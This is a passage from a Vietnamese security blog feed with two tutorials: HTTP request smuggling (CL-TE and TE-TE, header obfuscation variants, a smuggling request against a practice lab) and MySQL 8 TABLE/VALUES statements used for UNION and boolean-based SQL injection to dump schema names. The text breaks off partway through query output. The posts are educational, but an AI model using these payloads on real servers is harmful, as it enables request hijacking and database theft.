class="number">1.1</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line"><span class="number">0</span>\r\n</span><br><span class="line">\r\n</span><br></pre></td></tr></table></figure><p>Máy chủ front-end nhận <code>Transfer-Encoding: chunked\r\n</code>, khi đọc đến <code>0\r\n</code> và <code>\r\n</code>ở cuối, không có vấn đề gì xảy ra nên máy chủ front-end request đến máy chủ back-end.</p><p>Máy chủ back-end nhận trường <code>Content-Length: 4\r\n</code>, vì độ dày chỉ 4 bytes tương đương <code>12 + \r + \n</code> là đến hết dòng thứ 6, máy chủ back-end sẽ xem là đã kết thúc request và phần còn lại từ dòng 7 trở đi không được xử lý và máy chủ back-end sẽ coi đây là phần bắt đầu của yêu cầu tiếp theo.</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">aPOST / HTTP/<span class="number">1.1</span>\r\n</span><br><span class="line">\r\n</span><br><span class="line"><span class="number">0</span>\r\n</span><br><span class="line">\r\n</span><br></pre></td></tr></table></figure><p>Tại thời điểm này nếu có một yêu cầu khác nó sẽ báo lỗi <code>Unrecognized method aPOST</code>, có nghĩa là HRS đã thành công.</p><h2 id="TE-TE"><a href="#TE-TE" class="headerlink" title="TE-TE"></a>TE-TE</h2><p>Cả máy chủ front-end và máy chủ back-end đều sử dụng <code>Transfer-Encoding</code> nhưng bằng một cách nào đó chúng ta có thể gây nhầm lẫn cho máy chủ để một trong hai máy chủ front-end và back-end không xử lý <code>Transfer-Encoding</code> như bình thường, khi đó chúng ta có thể khai thác lỗ hỏng CL-TE hoặc TE-CL tùy theo cách xử lý của reverse proxy và back-end.</p><p>Một số cách để gây rối cho máy chủ như sau:</p><figure class="highlight h"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">Transfer-Encoding: xchunked</span><br><span class="line">Transfer-Encoding : chunked</span><br><span class="line"></span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Transfer-Encoding: x</span><br><span class="line"></span><br><span class="line">Transfer-Encoding:[tab]chunked</span><br><span class="line"></span><br><span class="line">[space]Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">X: X[\n]Transfer-Encoding: chunked</span><br><span class="line">Transfer-Encoding: xchunked</span><br><span class="line"></span><br><span class="line">Transfer-Encoding : chunked</span><br><span class="line"></span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Transfer-Encoding: x</span><br><span class="line"></span><br><span class="line">Transfer-Encoding:[tab]chunked</span><br><span class="line"></span><br><span class="line">[space]Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line">X: X[\n]Transfer-Encoding: chunked</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Transfer-Encoding: chunked</span><br><span class="line">Transfer-encoding: cow</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Transfer-Encoding</span><br><span class="line">: chunked</span><br><span class="line">Transfer-Encoding</span><br><span class="line">: chunked</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Giả sử chúng ta có một request như sau:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">POST / HTTP/1.1\r\n</span><br><span class="line">Host: ac4b1fcb1f596028803b11a2007400e4.web-security-academy.net\r\n</span><br><span class="line">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0\r\n</span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n</span><br><span class="line">Accept-Language: en-US,en;q=0.5\r\n</span><br><span class="line">Cookie: session=Mew4QW7BRxkhk0p1Thny2GiXiZwZdMd8\r\n</span><br><span class="line">Content-length: 4\r\n</span><br><span class="line">Transfer-Encoding: chunked\r\n</span><br><span class="line">Transfer-encoding: cow\r\n</span><br><span class="line">\r\n</span><br><span class="line">5c\r\n</span><br><span class="line">GPOST / HTTP/1.1\r\n</span><br><span class="line">Content-Type: application/x-www-form-urlencoded\r\n</span><br><span class="line">Content-Length: 15\r\n</span><br><span class="line">\r\n</span><br><span class="line">x=1\r\n</span><br><span class="line">0\r\n</span><br><span class="line">\r\n</span><br></pre></td></tr></table></figure><p>Máy chủ Proxy nhận <code>Transfer-Encoding: chunked\r\n</code>, thấy yêu cầu hợp lệ nó gửi đến máy chủ back-end.<br>Máy chủ back-end: Lúc này do tồn tại hai trường <code>Transfer-Encoding: chunked\r\n</code> và <code>Transfer-encoding: cow\r\n</code> nên khiến máy chủ bị rối, nó không biết nhận cái nào nên có thể bây giờ nó sẽ nhận <code>Content-length: 4\r\n</code>. </p><p><code>5c\r\n = 4bytes</code> nên phần sau được xem như là một yêu cầu khác, và do máy chủ tồn tại pipelining nên nó được coi như là một yêu cầu khác biệt. Lúc này một lỗi <code>Unrecognized method aPOST</code> sẽ được trả về.</p><h2 id="Web-cache-poisoning-thong-qua-HRS"><a href="#Web-cache-poisoning-thong-qua-HRS" class="headerlink" title="Web cache poisoning thông qua HRS:"></a>Web cache poisoning thông qua HRS:</h2><p>Tham khảo:</p><ul><li><a href="https://brightsec.com/blog/http-request-smuggling-hrs/#how-hrs-works">https://brightsec.com/blog/http-request-smuggling-hrs/#how-hrs-works</a></li><li><a href="https://paper.seebug.org/1048/">https://paper.seebug.org/1048/</a></li><li><a href="https://crashtest-security.com/http-request-smuggling/">https://crashtest-security.com/http-request-smuggling/</a></li></ul>]]></content:encoded>
      
      
      
      <category domain="https://rayinaw.github.io/tags/HRS/">HRS</category>
      
      
      <comments>https://rayinaw.github.io/2022/11/30/http-request-smuggling-HTTP-1.1/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Tính năng mới của Mysql 8</title>
      <link>https://rayinaw.github.io/2022/11/27/sqli-mysql8/</link>
      <guid>https://rayinaw.github.io/2022/11/27/sqli-mysql8/</guid>
      <pubDate>Sun, 27 Nov 2022 15:13:20 GMT</pubDate>
      
        
        
      <description>&lt;h1 id=&quot;Tinh-nang-moi-cua-mysql8&quot;&gt;&lt;a href=&quot;#Tinh-nang-moi-cua-mysql8&quot; class=&quot;headerlink&quot; title=&quot;Tính năng mới của mysql8&quot;&gt;&lt;/a&gt;Tính năng mới </description>
        
      
      
      
      <content:encoded><![CDATA[<h1 id="Tinh-nang-moi-cua-mysql8"><a href="#Tinh-nang-moi-cua-mysql8" class="headerlink" title="Tính năng mới của mysql8"></a>Tính năng mới của mysql8</h1><h2 id="Cau-lenh-TABLE"><a href="#Cau-lenh-TABLE" class="headerlink" title="Câu lệnh TABLE"></a>Câu lệnh TABLE</h2><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">TABLE</span> table_name [<span class="keyword">ORDER</span> <span class="keyword">BY</span> column_name] [LIMIT number [<span class="keyword">OFFSET</span> number]]</span><br></pre></td></tr></table></figure><p>Chức năng: Trả về các hàng và cột của bảng được chỉ định</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">table</span> users;</span><br><span class="line"><span class="operator">+</span><span class="comment">----+--------+---------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> name   <span class="operator">|</span> emotion <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+--------+---------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> rayin  <span class="operator">|</span> love    <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">2</span> <span class="operator">|</span> chuly  <span class="operator">|</span> love    <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">3</span> <span class="operator">|</span> zujchi <span class="operator">|</span> cutee   <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">4</span> <span class="operator">|</span> spider <span class="operator">|</span> ugly    <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+--------+---------+</span></span><br><span class="line"><span class="number">4</span> <span class="keyword">rows</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>Trông thì tương tự như câu lệnh select. Kể cả kết hợp order.</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> users;</span><br><span class="line"><span class="operator">+</span><span class="comment">----+--------+---------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> name   <span class="operator">|</span> emotion <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+--------+---------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> rayin  <span class="operator">|</span> love    <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">2</span> <span class="operator">|</span> chuly  <span class="operator">|</span> love    <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">3</span> <span class="operator">|</span> zujchi <span class="operator">|</span> cutee   <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">4</span> <span class="operator">|</span> spider <span class="operator">|</span> ugly    <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+--------+---------+</span></span><br><span class="line"><span class="number">4</span> <span class="keyword">rows</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>Tuy nhiên điểm khác ở đây là câu lệnh table sẽ lấy ra toàn bộ bảng, vậy nên where clause sẽ không có tác dụng, nó sẽ đưa ra lỗi.</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">table</span> users <span class="keyword">where</span> id <span class="operator">=</span> <span class="number">2</span>;</span><br><span class="line">ERROR <span class="number">1064</span> (<span class="number">42000</span>): You have an error <span class="keyword">in</span> your <span class="keyword">SQL</span> syntax; <span class="keyword">check</span> the manual that corresponds <span class="keyword">to</span> your MySQL server version <span class="keyword">for</span> the <span class="keyword">right</span> syntax <span class="keyword">to</span> use near <span class="string">&#x27;where id = 2&#x27;</span> <span class="keyword">at</span> line <span class="number">1</span></span><br></pre></td></tr></table></figure><h2 id="Cau-lenh-VALUES"><a href="#Cau-lenh-VALUES" class="headerlink" title="Câu lệnh VALUES"></a>Câu lệnh VALUES</h2><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">VALUES</span> row_constructor_list [<span class="keyword">ORDER</span> <span class="keyword">BY</span> column_designator] [LIMIT <span class="keyword">BY</span> number]</span><br><span class="line"> </span><br><span class="line">row_constructor_list:</span><br><span class="line">    <span class="type">ROW</span>(value_list)[, <span class="type">ROW</span>(value_list)][, ...]</span><br><span class="line"> </span><br><span class="line">value_list:</span><br><span class="line">    <span class="keyword">value</span>[, <span class="keyword">value</span>][, ...]</span><br><span class="line"> </span><br><span class="line">column_designator: </span><br><span class="line">    column_index</span><br></pre></td></tr></table></figure><p>Câu lệnh nhìn khá phức tạp, đơn giản nó chỉ đưa ra các row mà chúng ta định nghĩa. Ví dụ cho dễ hiểu:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span>  <span class="keyword">values</span> <span class="type">row</span>(<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>),<span class="type">row</span>(<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>),<span class="type">row</span>(<span class="number">7</span>,<span class="number">8</span>,<span class="number">9</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">----------+----------+----------+</span></span><br><span class="line"><span class="operator">|</span> column_0 <span class="operator">|</span> column_1 <span class="operator">|</span> column_2 <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----------+----------+----------+</span></span><br><span class="line"><span class="operator">|</span>        <span class="number">1</span> <span class="operator">|</span>        <span class="number">2</span> <span class="operator">|</span>        <span class="number">3</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>        <span class="number">4</span> <span class="operator">|</span>        <span class="number">5</span> <span class="operator">|</span>        <span class="number">6</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>        <span class="number">7</span> <span class="operator">|</span>        <span class="number">8</span> <span class="operator">|</span>        <span class="number">9</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----------+----------+----------+</span></span><br><span class="line"><span class="number">3</span> <span class="keyword">rows</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>Câu lệnh này có thể kết hợp với union như sau:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">where</span> id<span class="operator">=</span><span class="number">2</span> <span class="keyword">union</span> <span class="keyword">values</span> <span class="type">row</span>(<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> name  <span class="operator">|</span> emotion <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">2</span> <span class="operator">|</span> chuly <span class="operator">|</span> love    <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> <span class="number">2</span>     <span class="operator">|</span> <span class="number">3</span>       <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="number">2</span> <span class="keyword">rows</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line"><span class="operator">/</span><span class="operator">/</span>Có thứ hay ho rồi đấy :P</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">where</span> id<span class="operator">=</span><span class="number">1</span> <span class="keyword">union</span> <span class="keyword">values</span> <span class="type">row</span>(<span class="number">1</span>,database(),<span class="number">3</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> name  <span class="operator">|</span> emotion <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> rayin <span class="operator">|</span> love    <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> mysql <span class="operator">|</span> <span class="number">3</span>       <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="number">2</span> <span class="keyword">rows</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">where</span> id<span class="operator">=</span><span class="number">1</span> <span class="keyword">union</span> <span class="keyword">values</span> <span class="type">row</span>(<span class="number">1</span>,(<span class="keyword">select</span> name <span class="keyword">from</span> users <span class="keyword">where</span> id<span class="operator">=</span><span class="number">1</span>),<span class="number">3</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> name  <span class="operator">|</span> emotion <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> rayin <span class="operator">|</span> love    <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> rayin <span class="operator">|</span> <span class="number">3</span>       <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="number">2</span> <span class="keyword">rows</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><h2 id="Su-dung-cau-lenh-table-de-dump-database"><a href="#Su-dung-cau-lenh-table-de-dump-database" class="headerlink" title="Sử dụng câu lệnh table để dump database:"></a>Sử dụng câu lệnh table để dump database:</h2><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">table</span> information_schema.schemata;</span><br><span class="line"><span class="operator">+</span><span class="comment">--------------+--------------------+----------------------------+------------------------+----------+--------------------+</span></span><br><span class="line"><span class="operator">|</span> CATALOG_NAME <span class="operator">|</span> SCHEMA_NAME        <span class="operator">|</span> DEFAULT_CHARACTER_SET_NAME <span class="operator">|</span> DEFAULT_COLLATION_NAME <span class="operator">|</span> SQL_PATH <span class="operator">|</span> DEFAULT_ENCRYPTION <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------+--------------------+----------------------------+------------------------+----------+--------------------+</span></span><br><span class="line"><span class="operator">|</span> def          <span class="operator">|</span> mysql              <span class="operator">|</span> utf8mb4                    <span class="operator">|</span> utf8mb4_0900_ai_ci     <span class="operator">|</span>     <span class="keyword">NULL</span> <span class="operator">|</span> <span class="keyword">NO</span>                 <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span> def          <span class="operator">|</span> information_schema <span class="operator">|</span> utf8mb3                    <span class="operator">|</span> utf8_general_ci        <span class="operator">|</span>     <span class="keyword">NULL</span> <span class="operator">|</span> <span class="keyword">NO</span>                 <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span> def          <span class="operator">|</span> performance_schema <span class="operator">|</span> utf8mb4                    <span class="operator">|</span> utf8mb4_0900_ai_ci     <span class="operator">|</span>     <span class="keyword">NULL</span> <span class="operator">|</span> <span class="keyword">NO</span>                 <span class="operator">|</span></span><br><span class="line"><span class="operator">|</span> def          <span class="operator">|</span> sys                <span class="operator">|</span> utf8mb4                    <span class="operator">|</span> utf8mb4_0900_ai_ci     <span class="operator">|</span>     <span class="keyword">NULL</span> <span class="operator">|</span> <span class="keyword">NO</span>                 <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------+--------------------+----------------------------+------------------------+----------+--------------------+</span></span><br><span class="line"><span class="number">4</span> <span class="keyword">rows</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>;</span><br><span class="line"><span class="operator">+</span><span class="comment">--------------+-------------+----------------------------+------------------------+----------+--------------------+</span></span><br><span class="line"><span class="operator">|</span> CATALOG_NAME <span class="operator">|</span> SCHEMA_NAME <span class="operator">|</span> DEFAULT_CHARACTER_SET_NAME <span class="operator">|</span> DEFAULT_COLLATION_NAME <span class="operator">|</span> SQL_PATH <span class="operator">|</span> DEFAULT_ENCRYPTION <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------+-------------+----------------------------+------------------------+----------+--------------------+</span></span><br><span class="line"><span class="operator">|</span> def          <span class="operator">|</span> mysql       <span class="operator">|</span> utf8mb4                    <span class="operator">|</span> utf8mb4_0900_ai_ci     <span class="operator">|</span>     <span class="keyword">NULL</span> <span class="operator">|</span> <span class="keyword">NO</span>                 <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------+-------------+----------------------------+------------------------+----------+--------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">table</span> information_schema.schemata limit <span class="number">2</span>,<span class="number">1</span>;</span><br><span class="line"><span class="operator">+</span><span class="comment">--------------+--------------------+----------------------------+------------------------+----------+--------------------+</span></span><br><span class="line"><span class="operator">|</span> CATALOG_NAME <span class="operator">|</span> SCHEMA_NAME        <span class="operator">|</span> DEFAULT_CHARACTER_SET_NAME <span class="operator">|</span> DEFAULT_COLLATION_NAME <span class="operator">|</span> SQL_PATH <span class="operator">|</span> DEFAULT_ENCRYPTION <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------+--------------------+----------------------------+------------------------+----------+--------------------+</span></span><br><span class="line"><span class="operator">|</span> def          <span class="operator">|</span> performance_schema <span class="operator">|</span> utf8mb4                    <span class="operator">|</span> utf8mb4_0900_ai_ci     <span class="operator">|</span>     <span class="keyword">NULL</span> <span class="operator">|</span> <span class="keyword">NO</span>                 <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------+--------------------+----------------------------+------------------------+----------+--------------------+</span></span><br></pre></td></tr></table></figure><p>Để dump ra tên SCHEMA_NAME bằng hàm table ta sẽ sử dụng Boolean-based SQL Injection. Để dễ hình dung chúng ta cùng đi vào ví dụ:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">--Mình chỉ viết ra đầy đủ 1 câu truy vấn nếu như dính sqli sẽ như thế nào để các bạn dễ hình dung. Mình sẽ giải thích sau ^^</span></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">where</span> id<span class="operator">=</span><span class="number">1</span> <span class="keyword">and</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;m&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>)<span class="operator">&lt;=</span>(<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="operator">|</span> id <span class="operator">|</span> name  <span class="operator">|</span> emotion <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="operator">|</span>  <span class="number">1</span> <span class="operator">|</span> rayin <span class="operator">|</span> love    <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">----+-------+---------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="operator">*</span> <span class="keyword">from</span> users <span class="keyword">where</span> id<span class="operator">=</span><span class="number">1</span> <span class="keyword">and</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;n&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>)<span class="operator">&lt;=</span>(<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="keyword">Empty</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><p>Lưu ý là nếu chúng ta cần tìm cột sau thì phải biết giá trị cột trước mới so sánh được, các cột sau không quan trọng. Ở đây giá trị của cột đầu tiên sẽ là def, cột thứ 2 là tên database, các cột sau là không quan trọng đối với chúng ta. Chúng ta cùng đi vào phần boolean của payload:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;l&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">--------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;l&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                                                  <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;m&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">--------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> (<span class="string">&#x27;def&#x27;</span>,<span class="string">&#x27;m&#x27;</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>) <span class="operator">&lt;=</span> (<span class="keyword">table</span> information_schema.schemata limit <span class="number">1</span>) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">--------------------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span>                                                                  <span 